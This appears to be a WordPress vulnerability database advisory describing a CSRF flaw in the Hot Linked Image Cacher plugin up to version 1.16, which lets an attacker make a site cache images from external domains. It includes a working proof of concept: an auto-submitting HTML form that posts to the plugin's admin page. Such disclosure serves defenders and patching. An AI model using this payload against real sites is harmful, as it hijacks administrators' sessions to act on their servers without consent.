Hot Linked Image Cacher <= 1.16 - Image upload/cache abuse via CSRF

2022-05-1700:00:00

Daniel Ruf

0.001 Low

EPSS

Percentile

43.4%

JSON

The plugin is vulnerable to CSRF. This can be used to store / cache images from external domains on the server, which could lead to legal risks (due to copyright violations or licensing rules).

<form id="test" action="https://example.com/wp-admin/tools.php?page=hot-linked-image-cacher%2Fhotlinked-image-cacher.php" method="POST">
    <input type="text" name="domains[]" value="example.com">
    <input type="text" name="urlmethod" value="curl">
    <input type="text" name="postid" value="enter a post id here">
    <input type="text" name="step" value="3">
    <input type="text" name="Submit" value="Cache These Images »">
</form>
<script>
    document.getElementById("test").submit();
</script>

0.001 Low

EPSS

Percentile

43.4%

JSON

Related for WPEX-ID:B50E7622-C1DC-485B-A5F5-B010B40EEF20